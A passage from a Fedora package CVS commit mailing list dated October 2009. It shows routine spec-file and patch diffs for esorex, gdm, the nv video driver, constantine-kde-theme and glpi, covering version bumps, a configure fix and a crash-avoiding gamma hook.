* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 3.7.2-2
- Fixed configure patch


esorex-configure.patch:
 configure |   10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

Index: esorex-configure.patch
===================================================================
RCS file: /cvs/pkgs/rpms/esorex/devel/esorex-configure.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- esorex-configure.patch	28 Oct 2009 17:19:49 -0000	1.5
+++ esorex-configure.patch	28 Oct 2009 17:47:01 -0000	1.6
@@ -1,6 +1,6 @@
 diff -ur esorex-3.7.2/configure esorex-3.7.2.new/configure
 --- esorex-3.7.2/configure	2009-03-31 17:40:42.000000000 +0200
-+++ esorex-3.7.2.new/configure	2009-10-28 18:16:12.000000000 +0100
++++ esorex-3.7.2.new/configure	2009-10-28 18:44:43.000000000 +0100
 @@ -14007,7 +14007,7 @@
  $as_echo_n "checking for cfitsio... " >&6; }
  
@@ -27,3 +27,29 @@ diff -ur esorex-3.7.2/configure esorex-3
      cpl_cfitsio_libraries=no
  
      for i in $cpl_cfitsio_libdirs; do
+@@ -14160,7 +14161,7 @@
+ $as_echo_n "checking for CPL... " >&6; }
+ 
+     cpl_check_cpl_header="cpl_macros.h"
+-    cpl_check_cpl_lib="libcplcore.la"
++    cpl_check_cpl_lib="libcplcore.so"
+ 
+     cpl_includes=""
+     cpl_libraries=""
+@@ -14215,7 +14216,7 @@
+             cpl_incdirs="$cpl_with_cpl_includes"
+         fi
+ 
+-
++    cpl_incdirs="$includedir"
+     cpl_includes=no
+ 
+     for i in $cpl_incdirs; do
+@@ -14247,6 +14248,7 @@
+         fi
+ 
+ 
++    cpl_libdirs="$libdir"
+     cpl_libraries=no
+ 
+     for i in $cpl_libdirs; do


Index: esorex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/esorex/devel/esorex.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- esorex.spec	28 Oct 2009 17:19:49 -0000	1.14
+++ esorex.spec	28 Oct 2009 17:47:01 -0000	1.15
@@ -1,6 +1,6 @@
 Name: esorex
 Version: 3.7.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Recipe Execution Tool of the European Southern Observatory 
 
 Group: Applications/Engineering
@@ -42,6 +42,9 @@ rm -rf %{buildroot}
 %{_datadir}/*
 
 %changelog
+* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 3.7.2-2
+- Fixed configure patch
+
 * Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 3.7.2-1
 - New upstream source
 



From rstrode at fedoraproject.org  Wed Oct 28 17:59:42 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed, 28 Oct 2009 17:59:42 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-multistack.patch,1.8,1.9 gdm.spec,1.510,1.511
Message-ID: <20091028175942.F0CD911C00E5@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8404

Modified Files:
	gdm-multistack.patch gdm.spec 
Log Message:
- Don't show image on login button


gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |    2 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  314 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   40 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  418 ++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   40 
 b/po/POTFILES.in                                                     |    2 
 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  187 +
 daemon/gdm-greeter-server.h                                          |   19 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1124 +++++---
 daemon/gdm-session-private.h                                         |   29 
 daemon/gdm-session-relay.c                                           |  190 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   20 
 daemon/gdm-session.c                                                 |  229 +
 daemon/gdm-session.h                                                 |   59 
 daemon/gdm-simple-slave.c                                            |  223 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  209 +
 gui/simple-greeter/gdm-greeter-client.h                              |   18 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1120 ++++++--
 gui/simple-greeter/gdm-greeter-login-window.glade                    |  144 -
 gui/simple-greeter/gdm-greeter-login-window.h                        |   21 
 gui/simple-greeter/gdm-greeter-session.c                             |  133 
 gui/simple-greeter/gdm-task-list.c                                   |  228 +
 gui/simple-greeter/gdm-task-list.h                                   |   36 
 gui/simple-greeter/gdm-user-chooser-widget.c                         |   32 
 gui/simple-greeter/libgdmsimplegreeter/Makefile.am                   |    2 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c            |   51 
 gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h            |   13 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                    |    6 
 gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                    |    2 
 gui/simple-greeter/plugins/Makefile.am                               |    4 
 gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c   |   10 
 gui/simple-greeter/plugins/password/gdm-password-extension.c         |    7 
 gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c       |   35 
 po/POTFILES.in                                                       |    2 
 108 files changed, 9635 insertions(+), 1274 deletions(-)

Index: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gdm-multistack.patch	28 Oct 2009 15:31:57 -0000	1.8
+++ gdm-multistack.patch	28 Oct 2009 17:59:42 -0000	1.9
@@ -18104,3 +18104,35 @@ index 8af5452..585d7bc 100644
 -- 
 1.6.5.1
 
+From cbfac7d59da91ae6eaad568fe512bfa44bf01107 Mon Sep 17 00:00:00 2001
+From: Ray Strode <rstrode at redhat.com>
+Date: Wed, 28 Oct 2009 13:57:53 -0400
+Subject: [PATCH] Don't show unimportant images on plugin buttons
+
+---
+ gui/simple-greeter/gdm-greeter-login-window.c |    8 +++++++-
+ 1 files changed, 7 insertions(+), 1 deletions(-)
+
+diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
+index 585d7bc..dd763ff 100644
+--- a/gui/simple-greeter/gdm-greeter-login-window.c
++++ b/gui/simple-greeter/gdm-greeter-login-window.c
+@@ -1997,8 +1997,14 @@ on_button_action_icon_name_changed (GtkWidget *button)
+ 
+         action = gtk_widget_get_action (button);
+ 
+-        image = gtk_action_create_icon (GTK_ACTION (action), GTK_ICON_SIZE_BUTTON);
++        if (gtk_action_get_is_important (action)) {
++                image = gtk_action_create_icon (GTK_ACTION (action), GTK_ICON_SIZE_BUTTON);
++        } else {
++                image = NULL;
++        }
++
+         gtk_button_set_image (GTK_BUTTON (button), image);
++
+ }
+ 
+ static void
+-- 
+1.6.5.1
+


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.510
retrieving revision 1.511
diff -u -p -r1.510 -r1.511
--- gdm.spec	28 Oct 2009 15:15:41 -0000	1.510
+++ gdm.spec	28 Oct 2009 17:59:42 -0000	1.511
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 13%{?dist}
+Release: 14%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -413,6 +413,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Wed Oct 28 2009 Ray Strode <rstrode at redhat.com> 2.28.1-14
+- Don't show image on login button
+
 * Wed Oct 28 2009 Ray Strode <rstrode at redhat.com> 2.28.1-13
 - Fix double free during user switching (might address
   bug 512944)



From ajax at fedoraproject.org  Wed Oct 28 18:31:27 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed, 28 Oct 2009 18:31:27 +0000 (UTC)
Subject: rpms/xorg-x11-drv-nv/F-12 nv-2.1.15-g80-nop-gamma.patch, NONE,
	1.1 xorg-x11-drv-nv.spec, 1.93, 1.94
Message-ID: <20091028183127.9D85911C00E5@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-nv/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12840

Modified Files:
	xorg-x11-drv-nv.spec 
Added Files:
	nv-2.1.15-g80-nop-gamma.patch 
Log Message:
* Wed Oct 28 2009 Adam Jackson <ajax at redhat.com> 2.1.15-2
- nv-2.1.15-g80-nop-gamma.patch: Install a no-op gamma hook so we don't
  crash immediately on init.


nv-2.1.15-g80-nop-gamma.patch:
 g80_display.c |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE nv-2.1.15-g80-nop-gamma.patch ---
diff -up xf86-video-nv-2.1.15/src/g80_display.c.jx xf86-video-nv-2.1.15/src/g80_display.c
--- xf86-video-nv-2.1.15/src/g80_display.c.jx	2009-07-15 21:11:05.000000000 -0400
+++ xf86-video-nv-2.1.15/src/g80_display.c	2009-10-28 04:14:55.189892176 -0400
@@ -645,6 +645,12 @@ G80CrtcCommit(xf86CrtcPtr crtc)
     C(0x00000080, 0);
 }
 
+static void
+G80DispGammaSet(xf86CrtcPtr crtc, CARD16 *red, CARD16 *green, CARD16 *blue,
+		int size)
+{
+}
+
 static const xf86CrtcFuncsRec g80_crtc_funcs = {
     .dpms = G80CrtcDPMSSet,
     .save = NULL,
@@ -654,7 +660,7 @@ static const xf86CrtcFuncsRec g80_crtc_f
     .mode_fixup = G80CrtcModeFixup,
     .prepare = G80CrtcPrepare,
     .mode_set = G80CrtcModeSet,
-    // .gamma_set = G80DispGammaSet,
+    .gamma_set = G80DispGammaSet,
     .commit = G80CrtcCommit,
     .shadow_create = NULL,
     .shadow_destroy = NULL,


Index: xorg-x11-drv-nv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nv/F-12/xorg-x11-drv-nv.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- xorg-x11-drv-nv.spec	11 Sep 2009 05:58:47 -0000	1.93
+++ xorg-x11-drv-nv.spec	28 Oct 2009 18:31:27 -0000	1.94
@@ -5,7 +5,7 @@
 Summary:   Xorg X11 nv video driver
 Name:      xorg-x11-drv-nv
 Version:   2.1.15
-Release:   1%{?dist}
+Release:   2%{?dist}
 URL:       http://www.x.org
 License: MIT
 Group:     User Interface/X Hardware Support
@@ -29,6 +29,7 @@ Patch7:	    nv-save-rom.patch
 Patch9:	    nv-2.1.8-g80-no-doublescan.patch
 Patch10:    nv-2.1.12-gf7025-gf7050.patch
 Patch11:    nv-refuse-kms.patch
+Patch12:    nv-2.1.15-g80-nop-gamma.patch
 
 %description 
 X.Org X11 nv video driver.
@@ -43,6 +44,7 @@ X.Org X11 nv video driver.
 %patch9 -p1 -b .doublescan
 %patch10 -p1 -b .nv6x
 %patch11 -p1 -b .nokms
+%patch12 -p1 -b .gamma
 
 %build
 autoreconf -v --install
@@ -70,6 +72,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/nv.4*
 
 %changelog
+* Wed Oct 28 2009 Adam Jackson <ajax at redhat.com> 2.1.15-2
+- nv-2.1.15-g80-nop-gamma.patch: Install a no-op gamma hook so we don't
+  crash immediately on init.
+
 * Fri Sep 11 2009 Ben Skeggs <bskeggs at redhat.com> 2.1.15-1
 - nv 2.1.15
 



From ajax at fedoraproject.org  Wed Oct 28 18:32:15 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed, 28 Oct 2009 18:32:15 +0000 (UTC)
Subject: rpms/xorg-x11-drv-nv/devel nv-2.1.15-g80-nop-gamma.patch, NONE,
	1.1 xorg-x11-drv-nv.spec, 1.93, 1.94
Message-ID: <20091028183215.E82D411C00E5@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-nv/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12983

Modified Files:
	xorg-x11-drv-nv.spec 
Added Files:
	nv-2.1.15-g80-nop-gamma.patch 
Log Message:
* Wed Oct 28 2009 Adam Jackson <ajax at redhat.com> 2.1.15-2
- nv-2.1.15-g80-nop-gamma.patch: Install a no-op gamma hook so we don't
  crash immediately on init.


nv-2.1.15-g80-nop-gamma.patch:
 g80_display.c |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE nv-2.1.15-g80-nop-gamma.patch ---
diff -up xf86-video-nv-2.1.15/src/g80_display.c.jx xf86-video-nv-2.1.15/src/g80_display.c
--- xf86-video-nv-2.1.15/src/g80_display.c.jx	2009-07-15 21:11:05.000000000 -0400
+++ xf86-video-nv-2.1.15/src/g80_display.c	2009-10-28 04:14:55.189892176 -0400
@@ -645,6 +645,12 @@ G80CrtcCommit(xf86CrtcPtr crtc)
     C(0x00000080, 0);
 }
 
+static void
+G80DispGammaSet(xf86CrtcPtr crtc, CARD16 *red, CARD16 *green, CARD16 *blue,
+		int size)
+{
+}
+
 static const xf86CrtcFuncsRec g80_crtc_funcs = {
     .dpms = G80CrtcDPMSSet,
     .save = NULL,
@@ -654,7 +660,7 @@ static const xf86CrtcFuncsRec g80_crtc_f
     .mode_fixup = G80CrtcModeFixup,
     .prepare = G80CrtcPrepare,
     .mode_set = G80CrtcModeSet,
-    // .gamma_set = G80DispGammaSet,
+    .gamma_set = G80DispGammaSet,
     .commit = G80CrtcCommit,
     .shadow_create = NULL,
     .shadow_destroy = NULL,


Index: xorg-x11-drv-nv.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-nv/devel/xorg-x11-drv-nv.spec,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- xorg-x11-drv-nv.spec	11 Sep 2009 05:58:47 -0000	1.93
+++ xorg-x11-drv-nv.spec	28 Oct 2009 18:32:15 -0000	1.94
@@ -5,7 +5,7 @@
 Summary:   Xorg X11 nv video driver
 Name:      xorg-x11-drv-nv
 Version:   2.1.15
-Release:   1%{?dist}
+Release:   2%{?dist}
 URL:       http://www.x.org
 License: MIT
 Group:     User Interface/X Hardware Support
@@ -29,6 +29,7 @@ Patch7:	    nv-save-rom.patch
 Patch9:	    nv-2.1.8-g80-no-doublescan.patch
 Patch10:    nv-2.1.12-gf7025-gf7050.patch
 Patch11:    nv-refuse-kms.patch
+Patch12:    nv-2.1.15-g80-nop-gamma.patch
 
 %description 
 X.Org X11 nv video driver.
@@ -43,6 +44,7 @@ X.Org X11 nv video driver.
 %patch9 -p1 -b .doublescan
 %patch10 -p1 -b .nv6x
 %patch11 -p1 -b .nokms
+%patch12 -p1 -b .gamma
 
 %build
 autoreconf -v --install
@@ -70,6 +72,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/nv.4*
 
 %changelog
+* Wed Oct 28 2009 Adam Jackson <ajax at redhat.com> 2.1.15-2
+- nv-2.1.15-g80-nop-gamma.patch: Install a no-op gamma hook so we don't
+  crash immediately on init.
+
 * Fri Sep 11 2009 Ben Skeggs <bskeggs at redhat.com> 2.1.15-1
 - nv 2.1.15
 



From rdieter at fedoraproject.org  Wed Oct 28 18:52:33 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 28 Oct 2009 18:52:33 +0000 (UTC)
Subject: rpms/constantine-kde-theme/F-12 sources,1.4,1.5 .cvsignore,1.4,1.5
Message-ID: <20091028185233.D26A911C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/constantine-kde-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15043

Modified Files:
	sources .cvsignore 
Log Message:
new-sources



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	1 Oct 2009 18:04:20 -0000	1.4
+++ sources	28 Oct 2009 18:52:33 -0000	1.5
@@ -1 +1 @@
-f624baafd0ba09667af55cd4c77af421  constantine-kde-theme-12.0.0.tar.bz2
+b348d415e569cd4773ba4be2a3ec4b95  constantine-kde-theme-12.1.0.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	1 Oct 2009 18:04:20 -0000	1.4
+++ .cvsignore	28 Oct 2009 18:52:33 -0000	1.5
@@ -1 +1 @@
-constantine-kde-theme-12.0.0.tar.bz2
+constantine-kde-theme-12.1.0.tar.bz2



From rdieter at fedoraproject.org  Wed Oct 28 18:56:35 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 28 Oct 2009 18:56:35 +0000 (UTC)
Subject: rpms/constantine-kde-theme/devel .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5
Message-ID: <20091028185635.2486711C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/constantine-kde-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15974

Modified Files:
	.cvsignore sources 
Log Message:
new-sources



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	1 Oct 2009 18:04:19 -0000	1.4
+++ .cvsignore	28 Oct 2009 18:56:34 -0000	1.5
@@ -1 +1 @@
-constantine-kde-theme-12.0.0.tar.bz2
+constantine-kde-theme-12.1.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	1 Oct 2009 18:04:19 -0000	1.4
+++ sources	28 Oct 2009 18:56:34 -0000	1.5
@@ -1 +1 @@
-f624baafd0ba09667af55cd4c77af421  constantine-kde-theme-12.0.0.tar.bz2
+b348d415e569cd4773ba4be2a3ec4b95  constantine-kde-theme-12.1.0.tar.bz2



From jreznik at fedoraproject.org  Wed Oct 28 18:58:27 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Wed, 28 Oct 2009 18:58:27 +0000 (UTC)
Subject: rpms/constantine-kde-theme/F-12 constantine-kde-theme.spec,1.7,1.8
Message-ID: <20091028185827.D806411C00E5@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/constantine-kde-theme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17179

Modified Files:
	constantine-kde-theme.spec 
Log Message:
* Wed Oct 28 2009 Jaroslav Reznik <jreznik at redhat.com> 12.1.0-1
- Constantine Smile KSplash Theme
- Constantine Loadme! login screen Theme



Index: constantine-kde-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/F-12/constantine-kde-theme.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- constantine-kde-theme.spec	1 Oct 2009 18:04:20 -0000	1.7
+++ constantine-kde-theme.spec	28 Oct 2009 18:58:27 -0000	1.8
@@ -1,5 +1,5 @@
 Name:		constantine-kde-theme
-Version:	12.0.0
+Version:	12.1.0
 Release:	1%{?dist}
 Summary:	Constantine KDE Theme
 
@@ -109,6 +109,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 28 2009 Jaroslav Reznik <jreznik at redhat.com> 12.1.0-1
+- Constantine Smile KSplash Theme
+- Constantine Loadme! login screen Theme
+
 * Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
 - fix deps, depend only on (newer) constantine-backgrounds-kde
 



From rdieter at fedoraproject.org  Wed Oct 28 19:03:37 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 28 Oct 2009 19:03:37 +0000 (UTC)
Subject: rpms/constantine-kde-theme/devel constantine-kde-theme.spec, 1.8,
	1.9
Message-ID: <20091028190337.97C2511C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/constantine-kde-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18406/devel

Modified Files:
	constantine-kde-theme.spec 
Log Message:
sync f12/devel branches



Index: constantine-kde-theme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-kde-theme/devel/constantine-kde-theme.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- constantine-kde-theme.spec	7 Oct 2009 06:24:09 -0000	1.8
+++ constantine-kde-theme.spec	28 Oct 2009 19:03:36 -0000	1.9
@@ -1,6 +1,6 @@
 Name:		constantine-kde-theme
-Version:	12.0.0
-Release:	2%{?dist}
+Version:	12.1.0
+Release:	1%{?dist}
 Summary:	Constantine KDE Theme
 
 Group:		User Interface/Desktops
@@ -25,13 +25,6 @@ Provides:	system-kdm-theme = %{version}-
 Provides:	system-ksplash-theme = %{version}-%{release}
 %endif
 
-# replace it later for F13
-%if 0%{?fedora} > 12
-Provides:   system-kde-theme = %{version}-%{release}
-Provides:   system-kdm-theme = %{version}-%{release}
-Provides:   system-ksplash-theme = %{version}-%{release}
-%endif
-
 # replace it later for el6
 %if 0%{?rhel} == 6
 Provides:   system-kde-theme = %{version}-%{release}
@@ -116,8 +109,9 @@ rm -rf %{buildroot}
 
 
 %changelog
-* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 12.0.0-2
-- fix deps
+* Wed Oct 28 2009 Jaroslav Reznik <jreznik at redhat.com> 12.1.0-1
+- Constantine Smile KSplash Theme
+- Constantine Loadme! login screen Theme
 
 * Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
 - fix deps, depend only on (newer) constantine-backgrounds-kde



From remi at fedoraproject.org  Wed Oct 28 19:03:55 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Wed, 28 Oct 2009 19:03:55 +0000 (UTC)
Subject: rpms/glpi/devel .cvsignore, 1.17, 1.18 glpi.spec, 1.27, 1.28 sources,
	1.19, 1.20
Message-ID: <20091028190355.4F30D11C00E5@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/glpi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18661

Modified Files:
	.cvsignore glpi.spec sources 
Log Message:
update to 0.72.3 (bugfix)


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/glpi/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	9 Sep 2009 14:16:44 -0000	1.17
+++ .cvsignore	28 Oct 2009 19:03:54 -0000	1.18
@@ -1 +1 @@
-glpi-0.72.21.tar.gz
+glpi-0.72.3.tar.gz


Index: glpi.spec
===================================================================
RCS file: /cvs/extras/rpms/glpi/devel/glpi.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- glpi.spec	9 Sep 2009 14:16:44 -0000	1.27
+++ glpi.spec	28 Oct 2009 19:03:54 -0000	1.28
@@ -4,10 +4,10 @@
 %global useselinux 0
 %endif
 
-%global tarballversion 0.72.21
+%global tarballversion 0.72.3
 
 Name:           glpi
-Version:        0.72.2.1
+Version:        0.72.3
 Release:        1%{?dist}
 Summary:        Free IT asset management software
 Summary(fr):    Gestion Libre de Parc Informatique
@@ -71,7 +71,7 @@ rm lib/extjs/{CHANGES.html,INCLUDE_ORDER
 mv lib/icalcreator/lgpl.txt LICENSE.icalcreator
 mv lib/phpcas/COPYRIGHT     LICENSE.phpcas
 mv lib/phpcas/README        README.phpcas
-rm scripts/glpi_cron_curl.sh
+rm scripts/glpi_cron_*.sh
 
 dos2unix -o LICENSE.tiny_mce
 for fic in LISEZMOI.txt README.txt
@@ -218,6 +218,9 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.3-1
+- update to 0.72.3
+
 * Wed Sep 09 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.72.2.1-1
 - update to 0.72.21
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/glpi/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	9 Sep 2009 14:16:44 -0000	1.19
+++ sources	28 Oct 2009 19:03:54 -0000	1.20
@@ -1 +1 @@
-495eacd40c30ccb9cd71e85f3af82009  glpi-0.72.21.tar.gz
+f8379e0a92ddc7a76b2232147f38ff21  glpi-0.72.3.tar.gz



From remi at fedoraproject.org  Wed Oct 28 19:08:20 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Wed, 28 Oct 2009 19:08:20 +0000 (UTC)
